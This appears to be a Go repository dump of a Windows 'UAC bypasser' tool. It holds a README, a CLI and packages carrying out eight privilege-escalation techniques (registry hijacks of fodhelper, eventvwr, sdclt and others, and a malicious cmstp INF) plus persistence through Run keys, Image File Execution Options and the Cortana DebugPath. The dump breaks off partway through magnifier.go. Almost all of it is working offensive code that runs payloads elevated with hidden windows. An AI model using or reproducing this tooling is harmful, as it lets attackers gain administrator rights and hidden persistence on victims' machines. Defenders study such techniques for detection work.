├── .github └── workflows │ └── ci.yml ├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── image └── demo.png ├── main.go └── pkg ├── executor.go ├── once ├── cmstp.go ├── computerdefaults.go ├── eventvwr.go ├── fodhelper.go ├── sdcltcontrol.go ├── silentcleanup.go ├── slui.go └── wsreset.go ├── persist ├── cortana.go ├── hkcu.go ├── hklm.go ├── magnifier.go ├── people.go ├── startup.go └── userinit.go ├── types.go ├── utils.go └── winapi.go /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: Code CI 2 | 3 | on: 4 | push: 5 | paths-ignore: 6 | - "**.md" 7 | pull_request: 8 | paths-ignore: 9 | - "**.md" 10 | 11 | jobs: 12 | windows: 13 | runs-on: windows-latest 14 | timeout-minutes: 2 15 | steps: 16 | - uses: actions/checkout@v2 17 | 18 | - name: Setup 1.17 Golang version 19 | uses: actions/setup-go@v2 20 | with: 21 | go-version: 1.17 22 | 23 | - name: Verify dependencies 24 | run: go mod verify 25 | 26 | - name: Build executable 27 | run: go build -ldflags "-w -s" main.go -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019-2022 0x9ef 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Golang UAC Bypasser 2 | Collection of bypass techiques written in Golang. 3 | 4 | Rewrite of - https://github.com/rootm0s/WinPwnage to Golang. 5 | 6 | ![Demonstration](image/demo.png) 7 | 8 | Techniques are found online, on different blogs and repos here on GitHub. I do not take credit for any of the findings, thanks to all the researchers. 9 | 10 | ## Techniques implemented: 11 | ### Once 12 | * Using cmstp.exe 13 | * Using computerdefaults.exe 14 | * Using eventvwr.exe 15 | * Using fodhelper.exe 16 | * Using sdcltcontrol.exe 17 | * Using silentcleanup.exe 18 | * Using slui.exe 19 | * Using wsreset.exe 20 | 21 | ### Persist 22 | * Using Cortana 23 | * Using HKCU registry key manipulations 24 | * Using HKLM registry key manipulations 25 | * Using magnifier.exe 26 | * Using People 27 | * Using Startup folder and malicious lnk file 28 | * Using Userinit registry key manipulations 29 | 30 | ## How to build: 31 | 1. `set CGO_ENABLED=0` 32 | 2. `go build -v -a main.go` 33 | 34 | ## How to use: 35 | You can use this as a library for single method calls to the executor. 36 | ```go 37 | package main 38 | 39 | import ( 40 | once "github.com/0x9ef/golang-uacbypasser/once" 41 | ) 42 | 43 | func main() { 44 | path := os.Args[1] 45 | tstart := time.Now() 46 | err := once.ExecFodhelper(path) 47 | if err != nil { 48 | panic(err) 49 | } 50 | tend := time.Now() 51 | fmt.Printf("Time tooked: %.2f\n", tend.Sub(tstart).Seconds()) 52 | } 53 | ``` 54 | 55 | You can use as a program which automatically calling selected methods. 56 | More information you can found by passing --help flag. 57 | ``` 58 | main.exe --list --once --technique=TECHNIQUE 59 | ``` 60 | 61 | ## If you find error in the code or you want to support project please commit this changes. 62 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module uacbypass 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/jessevdk/go-flags v1.5.0 7 | github.com/olekukonko/tablewriter v0.0.5 8 | golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8 9 | ) 10 | 11 | require ( 12 | github.com/mattn/go-runewidth v0.0.13 // indirect 13 | github.com/rivo/uniseg v0.2.0 // indirect 14 | ) 15 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/jessevdk/go-flags v1.5.0 h1:1jKYvbxEjfUl0fmqTCOfonvskHHXMjBySTLW4y9LFvc= 2 | github.com/jessevdk/go-flags v1.5.0/go.mod h1:Fw0T6WPc1dYxT4mKEZRfG5kJhaTDP9pj1c2EWnYs/m4= 3 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 4 | github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= 5 | github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= 6 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= 7 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= 8 | github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= 9 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 10 | golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 11 | golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8 h1:OH54vjqzRWmbJ62fjuhxy7AxFFgoHN0/DPc/UrL8cAs= 12 | golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 13 | -------------------------------------------------------------------------------- /image/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x9ef/golang-uacbypasser/1e0db7594f3429050155c919b8056bf955a298c9/image/demo.png -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package main 5 | 6 | import ( 7 | "fmt" 8 | "log" 9 | "os" 10 | "path/filepath" 11 | "strings" 12 | "time" 13 | . "uacbypass/pkg" 14 | once "uacbypass/pkg/once" 15 | "uacbypass/pkg/persist" 16 | 17 | flags "github.com/jessevdk/go-flags" 18 | tablewriter "github.com/olekukonko/tablewriter" 19 | ) 20 | 21 | var Options struct { 22 | Path string `long:"path" description:"Path to payload"` 23 | Technique string `short:"t" long:"technique" description:"Executing technique of UAC bypassing"` 24 | Once bool `short:"o" long:"once" description:"Execute once elevation"` 25 | Persist bool `short:"p" long:"persist" description:"Execute persistent elevation"` 26 | Cleanup bool `short:"c" long:"cleanup" description:"Cleanup all files and registry keys used during elevation"` 27 | List bool `short:"l" long:"list" description:"Show list of all currently implemented techniques"` 28 | } 29 | 30 | func main() { 31 | print(` 32 | ██████╗ ██╗ ██╗ █████╗ ██████╗██████╗ ██████╗ 33 | ██╔════╝ ██║ ██║██╔══██╗██╔════╝██╔══██╗██╔══██╗ 34 | ██║ ███╗██║ ██║███████║██║ ██████╔╝██████╔╝ 35 | ██║ ██║██║ ██║██╔══██║██║ ██╔══██╗██╔═══╝ 36 | ╚██████╔╝╚██████╔╝██║ ██║╚██████╗██████╔╝██║ 37 | ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚═════╝ ╚═╝ 38 | by 0x9ef, for researches purposes ONLY! 39 | version 2.1.0 40 | ` + "\n") 41 | 42 | fmt.Printf("General information:\n") 43 | fmt.Printf(" UAC Level: %d\n", GetUACLevel()) 44 | fmt.Printf(" Build number: %d\n", GetBuildNumber()) 45 | fmt.Printf(" Status: OK\n\n") 46 | 47 | // parse flags 48 | if _, err := flags.NewParser(&Options, flags.HelpFlag|flags.PassDoubleDash).Parse(); err != nil { 49 | panic(err) 50 | } 51 | 52 | type onceKv struct { 53 | info Info 54 | f OnceExecutor 55 | } 56 | 57 | type persistKv struct { 58 | info Info 59 | f PersistExecutor 60 | } 61 | 62 | // Once implemented techniques list 63 | var tableOnce []onceKv 64 | tableOnce = append(tableOnce, onceKv{InfoOnceCmstp, once.ExecCmstp}) 65 | tableOnce = append(tableOnce, onceKv{InfoOnceComputerdefaults, once.ExecComputerdefaults}) 66 | tableOnce = append(tableOnce, onceKv{InfoOnceEventvwr, once.ExecEventvwr}) 67 | tableOnce = append(tableOnce, onceKv{InfoOnceFodhelper, once.ExecFodhelper}) 68 | tableOnce = append(tableOnce, onceKv{InfoOnceSdcltcontrol, once.ExecSdcltcontrol}) 69 | tableOnce = append(tableOnce, onceKv{InfoOnceSilentcleanup, once.ExecSilentcleanup}) 70 | tableOnce = append(tableOnce, onceKv{InfoOnceSlui, once.ExecSlui}) 71 | tableOnce = append(tableOnce, onceKv{InfoOnceWsreset, once.ExecWsreset}) 72 | 73 | // Persist implemented techniques list 74 | var tablePersist []persistKv 75 | tablePersist = append(tablePersist, persistKv{InfoPersistCortana, persist.ExecutorCortana{}}) 76 | tablePersist = append(tablePersist, persistKv{InfoPersistHkcu, persist.ExecutorHkcu{}}) 77 | tablePersist = append(tablePersist, persistKv{InfoPersistHklm, persist.ExecutorHklm{}}) 78 | tablePersist = append(tablePersist, persistKv{InfoPersistMagnifier, persist.ExecutorMagnifier{}}) 79 | tablePersist = append(tablePersist, persistKv{InfoPersistPeople, persist.ExecutorPeople{}}) 80 | tablePersist = append(tablePersist, persistKv{InfoPersistStartup, persist.ExecutorStartup{}}) 81 | tablePersist = append(tablePersist, persistKv{InfoPersistUserinit, persist.ExecutorUserinit{}}) 82 | 83 | if Options.List { 84 | draw := tablewriter.NewWriter(os.Stdout) 85 | draw.SetHeader([]string{"Id", "Type", "Name", "Description", "Fixed", "Admin"}) 86 | draw.SetBorders(tablewriter.Border{Left: false, Top: false, Right: false, Bottom: false}) 87 | draw.SetColWidth(48) 88 | fmt.Printf("Table information:\n") 89 | for i := range tableOnce { 90 | t := tableOnce[i] 91 | row := []string{fmt.Sprintf("%d", t.info.Id), "Once", t.info.Name, t.info.Description, "Unknown", "Unknown"} 92 | draw.Append(row) 93 | } 94 | for i := range tablePersist { 95 | t := tablePersist[i] 96 | row := []string{fmt.Sprintf("%d", t.info.Id), "Persist", t.info.Name, t.info.Description, "Unknown", "Unknown"} 97 | draw.Append(row) 98 | } 99 | draw.Render() 100 | fmt.Println() 101 | } 102 | 103 | flagPath := Options.Path 104 | absPath, err := filepath.Abs(flagPath) 105 | if err != nil { 106 | panic(err) 107 | } 108 | s, err := os.Stat(absPath) // check for path exists 109 | if err != nil { 110 | panic(err) 111 | } else { 112 | if s.IsDir() { 113 | panic("cannot setup folder as executable payload") 114 | } 115 | } 116 | 117 | flagTechnique := Options.Technique 118 | if len(flagTechnique) == 0 { 119 | flagTechnique = "fodhelper" 120 | } 121 | 122 | var ptype string 123 | ext := filepath.Ext(flagPath) 124 | switch ext { 125 | case ".exe": 126 | ptype = "Executable" 127 | case ".dll": 128 | ptype = "DLL" 129 | case ".png", ".jpg", ".jpeg", ".bmp", ".gif": 130 | ptype = "Image" 131 | default: 132 | ptype = "Undefined" 133 | } 134 | 135 | fmt.Printf("Selected [%s] %s payload\n", ptype, absPath) 136 | fmt.Printf("Selected 'win32/%s' bypass technique, trying to elevate...\n", flagTechnique) 137 | time.Sleep(2 * time.Second) 138 | log.Printf("Technique started!\n") 139 | var timeStart time.Time 140 | var timeEnd time.Time 141 | if Options.Once { 142 | var f OnceExecutor 143 | for i := range tableOnce { 144 | value := tableOnce[i] 145 | if strings.Contains(value.info.Name, flagTechnique) { 146 | f = value.f 147 | break 148 | } 149 | } 150 | timeStart = time.Now() 151 | err = f(absPath) 152 | if err != nil { 153 | log.Printf("ERROR! Cannot elevate, because... %s\n", err.Error()) 154 | return 155 | } 156 | timeEnd = time.Now() 157 | } else if Options.Persist { 158 | var f PersistExecutor 159 | for i := range tablePersist { 160 | value := tablePersist[i] 161 | if strings.Contains(value.info.Name, flagTechnique) { 162 | f = value.f 163 | break 164 | } 165 | } 166 | 167 | // Cleanup if setuped 168 | if Options.Cleanup { 169 | defer f.Revert() 170 | } 171 | timeStart = time.Now() 172 | err = f.Exec(absPath) 173 | if err != nil { 174 | log.Printf("ERROR! Cannot elevate, because... %s\n", err.Error()) 175 | return 176 | } 177 | timeEnd = time.Now() 178 | } else { 179 | panic("please select options of executable method once/persist by --once or --persist flags. Type --help for more information") 180 | } 181 | log.Printf("Succesfully completed.\n") 182 | fmt.Printf("Time tooked: %.2fsecs\n", timeEnd.Sub(timeStart).Seconds()) 183 | } 184 | -------------------------------------------------------------------------------- /pkg/executor.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package uacbypass 5 | 6 | // OnceExecutor is suitable for all single-use options that clean up data immediately after their work 7 | type OnceExecutor func(path string) error 8 | 9 | // PersistExecutor same as OnceExecutor, but has Revert function 10 | // that can be called manually and revert all changes which were applied. 11 | type PersistExecutor interface { 12 | Exec(path string) error 13 | Revert() error 14 | } 15 | -------------------------------------------------------------------------------- /pkg/once/cmstp.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "os" 8 | "time" 9 | 10 | . "uacbypass/pkg" 11 | ) 12 | 13 | func ExecCmstp(path string) error { 14 | t := `[version] 15 | Signature=$chicago$ 16 | AdvancedINF=2.5 17 | [DefaultInstall] 18 | CustomDestination=CustInstDestSectionAllUsers 19 | RunPreSetupCommands=RunPreSetupCommandsSection 20 | [RunPreSetupCommandsSection]` + "\n" + path + ` 21 | taskkill /IM cmstp.exe /F 22 | [CustInstDestSectionAllUsers] 23 | 49000,49001=AllUSer_LDIDSection, 7 24 | [AllUSer_LDIDSection] 25 | "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", "" 26 | [Strings] 27 | ServiceName="GUACBypasserVPN" 28 | ShortSvcName="GUACBypasserVPN"` 29 | 30 | f, err := os.Create("rx0.ini") 31 | if err != nil { 32 | return err 33 | } 34 | n, err := f.Write([]byte(t)) 35 | if err != nil && n == 0 { 36 | return err 37 | } 38 | f.Close() 39 | defer os.Remove("rx0.ini") 40 | err = ShellExecute(path, "cmstp.exe", "/au rx0.ini", 0) 41 | if err != nil { 42 | return err 43 | } 44 | 45 | time.Sleep(3 * time.Second) 46 | err = KeybdEvent(0x0D, 0, 0, 0) // send keyboard events 47 | return err 48 | } 49 | -------------------------------------------------------------------------------- /pkg/once/computerdefaults.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "os/exec" 8 | "syscall" 9 | "time" 10 | . "uacbypass/pkg" 11 | 12 | "golang.org/x/sys/windows/registry" 13 | ) 14 | 15 | func ExecComputerdefaults(path string) error { 16 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, 17 | "Software\\Classes\\ms-settings\\shell\\open\\command", registry.ALL_ACCESS) 18 | if err != nil && !exists { 19 | return err 20 | } 21 | 22 | defer k.Close() 23 | defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command") 24 | if err = k.SetStringValue("", path); err != nil { 25 | return err 26 | } 27 | if err = k.SetStringValue("DelegateExecute", ""); err != nil { 28 | return err 29 | } 30 | 31 | time.Sleep(time.Second) 32 | WithFsr(func() { 33 | e := exec.Command("computerdefaults.exe") 34 | e.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 35 | err = e.Run() 36 | }) 37 | time.Sleep(3 * time.Second) 38 | return err 39 | } 40 | -------------------------------------------------------------------------------- /pkg/once/eventvwr.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | "time" 13 | 14 | "golang.org/x/sys/windows/registry" 15 | ) 16 | 17 | func ExecEventvwr(path string) error { 18 | k, exists, err := registry.CreateKey( 19 | registry.CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", registry.ALL_ACCESS) 20 | if err != nil && !exists { 21 | return err 22 | } 23 | 24 | defer k.Close() 25 | defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command") 26 | cmdDir := filepath.Join(os.Getenv("SYSTEMROOT"), "system32", "cmd.exe") 27 | value := fmt.Sprintf("%s start /k %s", cmdDir, path) 28 | if err = k.SetStringValue("", value); err != nil { 29 | return err 30 | } 31 | 32 | time.Sleep(time.Second) 33 | e := exec.Command("eventvwr.exe") 34 | e.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 35 | err = e.Run() 36 | return err 37 | } 38 | -------------------------------------------------------------------------------- /pkg/once/fodhelper.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | "time" 13 | 14 | "golang.org/x/sys/windows/registry" 15 | ) 16 | 17 | func ExecFodhelper(path string) error { 18 | k, _, err := registry.CreateKey(registry.CURRENT_USER, 19 | "Software\\Classes\\ms-settings\\shell\\open\\command", registry.ALL_ACCESS) 20 | if err != nil { 21 | return err 22 | } 23 | 24 | defer k.Close() 25 | defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command") 26 | cmdDir := filepath.Join(os.Getenv("SYSTEMROOT"), "system32", "cmd.exe") 27 | value := fmt.Sprintf("%s start /k %s", cmdDir, path) 28 | if err = k.SetStringValue("", value); err != nil { 29 | return err 30 | } 31 | if err = k.SetStringValue("DelegateExecute", ""); err != nil { 32 | return err 33 | } 34 | 35 | time.Sleep(time.Second) 36 | cmd := exec.Command("cmd.exe", "/C", "fodhelper.exe") 37 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 38 | err = cmd.Run() 39 | return err 40 | } 41 | -------------------------------------------------------------------------------- /pkg/once/sdcltcontrol.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | "time" 13 | 14 | "golang.org/x/sys/windows/registry" 15 | ) 16 | 17 | func ExecSdcltcontrol(path string) error { 18 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, 19 | "Software\\Classes\\Folder\\shell\\open\\command", registry.ALL_ACCESS) 20 | if err != nil && !exists { 21 | return err 22 | } 23 | 24 | defer k.Close() 25 | defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\Folder\\shell\\open\\command") 26 | cmdDir := filepath.Join(os.Getenv("SYSTEMROOT"), "system32", "cmd.exe") 27 | value := fmt.Sprintf("%s start /k %s", cmdDir, path) 28 | if err = k.SetStringValue("", value); err != nil { 29 | return err 30 | } 31 | if err = k.SetStringValue("DelegateExecute", ""); err != nil { 32 | return err 33 | } 34 | 35 | time.Sleep(time.Second) 36 | e := exec.Command("sdclt.exe") 37 | e.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 38 | err = e.Run() 39 | return err 40 | } 41 | -------------------------------------------------------------------------------- /pkg/once/silentcleanup.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | "time" 13 | 14 | "golang.org/x/sys/windows/registry" 15 | ) 16 | 17 | func ExecSilentcleanup(path string) error { 18 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, 19 | "Environment", registry.SET_VALUE|registry.ALL_ACCESS) 20 | if err != nil && !exists { 21 | return err 22 | } 23 | 24 | defer k.Close() 25 | defer k.DeleteValue("windir") 26 | cmdDir := filepath.Join(os.Getenv("SYSTEMROOT"), "system32", "cmd.exe") 27 | value := fmt.Sprintf("%s start /k %s", cmdDir, path) 28 | if err = k.SetStringValue("windir", value); err != nil { 29 | return err 30 | } 31 | 32 | time.Sleep(time.Second) 33 | e := exec.Command("schtasks.exe", "/RUN", "/TN", "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup", "/I") 34 | e.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 35 | err = e.Run() 36 | return err 37 | } 38 | -------------------------------------------------------------------------------- /pkg/once/slui.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "os/exec" 8 | "syscall" 9 | "time" 10 | 11 | "golang.org/x/sys/windows/registry" 12 | ) 13 | 14 | func ExecSlui(path string) error { 15 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, 16 | "Software\\Classes\\exefile\\shell\\open\\command", registry.ALL_ACCESS) 17 | if err != nil && !exists { 18 | return err 19 | } 20 | 21 | defer k.Close() 22 | defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\exefile\\shell\\open\\command") 23 | if err = k.SetStringValue("", path); err != nil { 24 | return err 25 | } 26 | if err = k.SetStringValue("DelegateExecute", ""); err != nil { 27 | return err 28 | } 29 | 30 | time.Sleep(time.Second) 31 | e := exec.Command("slui.exe") 32 | e.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 33 | err = e.Run() 34 | return err 35 | } 36 | -------------------------------------------------------------------------------- /pkg/once/wsreset.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package once 5 | 6 | import ( 7 | "fmt" 8 | "os" 9 | "os/exec" 10 | "path/filepath" 11 | "syscall" 12 | "time" 13 | 14 | "golang.org/x/sys/windows/registry" 15 | ) 16 | 17 | func ExecWsreset(path string) error { 18 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, 19 | "Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command", registry.SET_VALUE|registry.ALL_ACCESS) 20 | if err != nil && !exists { 21 | return err 22 | } 23 | 24 | defer k.Close() 25 | defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command") 26 | cmdDir := filepath.Join(os.Getenv("SYSTEMROOT"), "system32", "cmd.exe") 27 | value := fmt.Sprintf("%s /C start %s", cmdDir, path) 28 | if err = k.SetStringValue("", value); err != nil { 29 | return err 30 | } 31 | if err = k.SetStringValue("DelegateExecute", ""); err != nil { 32 | return err 33 | } 34 | 35 | time.Sleep(time.Second) 36 | e := exec.Command("WSReset.exe") 37 | e.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 38 | err = e.Run() 39 | return err 40 | } 41 | -------------------------------------------------------------------------------- /pkg/persist/cortana.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import ( 7 | "errors" 8 | "io" 9 | "strings" 10 | 11 | "golang.org/x/sys/windows/registry" 12 | ) 13 | 14 | type ExecutorCortana struct{} 15 | 16 | func (e ExecutorCortana) findKey() (string, error) { 17 | nk, err := registry.OpenKey(registry.CURRENT_USER, "Software\\Classes\\ActivatableClasses\\Package", registry.READ) 18 | if err != nil { 19 | return "", err 20 | } 21 | defer nk.Close() 22 | subkeys, err := nk.ReadSubKeyNames(2) 23 | if err != nil && err != io.EOF { 24 | return "", err 25 | } 26 | n := -1 27 | for i := range subkeys { 28 | if strings.Contains(subkeys[i], "Microsoft.Windows.Cortana_") { 29 | n = i 30 | } 31 | } 32 | if n < 0 { 33 | return "", errors.New("cannot find key which contains Microsoft.Windows.Cortana_") 34 | } 35 | key := subkeys[n] 36 | return key, nil 37 | } 38 | 39 | func (e ExecutorCortana) Exec(path string) error { 40 | kpath, err := e.findKey() 41 | if err != nil { 42 | return err 43 | } 44 | k, exists, err := registry.CreateKey(registry.CURRENT_USER, kpath, registry.ALL_ACCESS) 45 | if err != nil && !exists { 46 | return err 47 | } 48 | defer k.Close() 49 | defer registry.DeleteKey(registry.CURRENT_USER, kpath) 50 | err = k.SetStringValue("DebugPath", path) 51 | return err 52 | } 53 | 54 | func (e ExecutorCortana) Revert() error { 55 | kpath, err := e.findKey() 56 | if err != nil { 57 | return err 58 | } 59 | err = registry.DeleteKey(registry.CURRENT_USER, kpath) 60 | return err 61 | } 62 | -------------------------------------------------------------------------------- /pkg/persist/hkcu.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import "golang.org/x/sys/windows/registry" 7 | 8 | type ExecutorHkcu struct{} 9 | 10 | func (e ExecutorHkcu) Exec(path string) error { 11 | k, err := registry.OpenKey(registry.CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS) 12 | if err != nil { 13 | return err 14 | } 15 | defer k.Close() 16 | err = k.SetStringValue("GUACBypasserVPN", path) 17 | return err 18 | } 19 | 20 | func (e ExecutorHkcu) Revert() error { 21 | k, err := registry.OpenKey(registry.CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS) 22 | if err != nil { 23 | return err 24 | } 25 | defer k.Close() 26 | err = k.DeleteValue("GUACBypasserVPN") 27 | return err 28 | } 29 | -------------------------------------------------------------------------------- /pkg/persist/hklm.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import ( 7 | "errors" 8 | "strconv" 9 | 10 | "golang.org/x/sys/windows/registry" 11 | ) 12 | 13 | type ExecutorHklm struct{} 14 | 15 | func (e ExecutorHklm) findKey() (string, error) { 16 | var key string 17 | if strconv.IntSize == 32 { 18 | key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" 19 | } else if strconv.IntSize == 64 { 20 | key = "Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" 21 | } else { 22 | return "", errors.New("unknown architecture, cannot find HKLM path") 23 | } 24 | return key, nil 25 | } 26 | 27 | func (e ExecutorHklm) Exec(path string) error { 28 | kpath, err := e.findKey() 29 | if err != nil { 30 | return err 31 | } 32 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, kpath, registry.ALL_ACCESS) 33 | if err != nil { 34 | return err 35 | } 36 | defer k.Close() 37 | err = k.SetStringValue("GUACBypasserVPN", path) 38 | return err 39 | } 40 | 41 | func (e ExecutorHklm) Revert() error { 42 | kpath, err := e.findKey() 43 | if err != nil { 44 | return err 45 | } 46 | k, err := registry.OpenKey(registry.LOCAL_MACHINE, kpath, registry.ALL_ACCESS) 47 | if err != nil { 48 | return err 49 | } 50 | defer k.Close() 51 | err = k.DeleteValue("GUACBypasserVPN") 52 | return err 53 | } 54 | -------------------------------------------------------------------------------- /pkg/persist/magnifier.go: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019-2022 0x9ef. All rights reserved. 2 | // Use of this source code is governed by an MIT license 3 | // that can be found in the LICENSE file. 4 | package persist 5 | 6 | import ( 7 | "errors" 8 | "strconv" 9 | 10 | "golang.org/x/sys/windows/registry" 11 | ) 12 | 13 | type ExecutorMagnifier struct{} 14 | 15 | func (e ExecutorMagnifier) findKey() (string, error) { 16 | var key string 17 | if strconv.IntSize == 32 { 18 | key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\magnify.exe" 19 | } else if strconv.IntSize == 64 { 20 | key = "Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\magnify.exe" 21 | } else { 22 | return "", errors.New("unknown architecture, cannot find MAGNIFIER path") 23 | } 24 | return key, nil 25 | } 26 | 27 | func (e ExecutorMagnifier) Exec(path string) error { 28 | kpath, err := e.findKey() 29 | if err != nil { 30 | return err 31 | } 32 | 33 | k, exists, err := registry.CreateKey(registry.LOCAL_MACHINE, kpath, 